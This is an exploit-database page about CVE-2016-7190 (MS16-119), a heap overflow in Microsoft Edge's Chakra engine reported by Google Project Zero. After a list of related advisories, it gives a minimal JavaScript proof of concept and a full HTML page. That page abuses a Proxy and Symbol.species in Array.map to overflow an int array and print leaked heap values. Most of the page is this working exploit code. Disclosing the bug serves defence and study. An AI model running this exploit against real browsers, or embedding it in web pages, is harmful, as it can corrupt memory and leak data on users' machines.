Microsoft Edge - 'Array.map' Heap Overflow (MS16-119)

🗓️ 20 Oct 2016 00:00:00Reported by Google Security ResearchType

Microsoft Edge Array.map Heap Overflow (MS16-119) security vulnerability descriptio

Reporter	Title	Published	Views	Family All 18
BDU FSTEC	Microsoft Edge browser vulnerability, which allows a hacker to trigger a service failure or execute arbitrary code	2 Dec 201600:00	–	bdu_fstec
Circl	CVE-2016-7190	20 Oct 201600:00	–	circl
CNVD	Microsoft Edge Scripting Engine Memory Corruption Vulnerability (CNVD-2016-09402)	13 Oct 201600:00	–	cnvd
Check Point Advisories	Microsoft Edge Scripting Engine Memory Corruption (MS16-119: CVE-2016-7190)	11 Oct 201600:00	–	checkpoint_advisories
CVE	CVE-2016-7190	14 Oct 201601:00	–	cve
Cvelist	CVE-2016-7190	14 Oct 201601:00	–	cvelist
Github Security Blog	ChakraCore RCE Vulnerability	14 May 202202:22	–	github
Microsoft KB	MS16-119: Cumulative security update for Microsoft Edge: October 11, 2016	11 Oct 201600:00	–	mskb
NVD	CVE-2016-7190	14 Oct 201602:59	–	nvd
OpenVAS	Microsoft Edge Multiple Vulnerabilities (3192890)	12 Oct 201600:00	–	openvas

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=923

There is a heap overflow in Array.map in Chakra. In Js::JavascriptArray::MapHelper, if the array that is being mapped is a Proxy, ArraySpeciesCreate is used to create the array that the mapped values are copied into. They are then written to the array using DirectSetItemAt, even through there is no guarantee the array is a Var array. If it is actually an int array, it will be shorter than this function expects, causing a heap overflow. A minimal PoC is as follows:

var d = new Array(1,2,3);
class dummy{

	constructor(){
		alert("in constructor");
		return d;
        }

}

var handler = {
    get: function(target, name){

	if(name == "length"){
		return 0x100;
	}
	return {[Symbol.species] : dummy};
    },

    has: function(target, name){
	return true;
    }
};

var p = new Proxy([], handler);

var a = new Array(1,2,3);

function test(){
	return 0x777777777777;

}

var o = a.map.call(p, test);

A full PoC is attached.
-->

<html><body><script>
var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{

	constructor(){
		alert("in constructor");
		return d;
        }

}

var handler = {
    get: function(target, name){

	if(name == "length"){
		return 0x100;
	}
	return {[Symbol.species] : dummy};
    },

    has: function(target, name){
       alert("has " + name);
	return true;
    }
};

var p = new Proxy([], handler);

var a = new Array(1,2,3);

function test(){
	return 0x777777777777;

}


var o = a.map.call(p, test);

var h = [];

for(item in o){

	var n = new Number(o[item]);
	if (n < 0){
		n = n + 0x100000000;
	}
	h.push(n.toString(16));

}

alert(h);

</script></body></html>

21 Oct 2016 00:00Current

7.2High risk

Vulners AI Score7.2

CVSS 37.5

CVSS 27.6

EPSS0.66919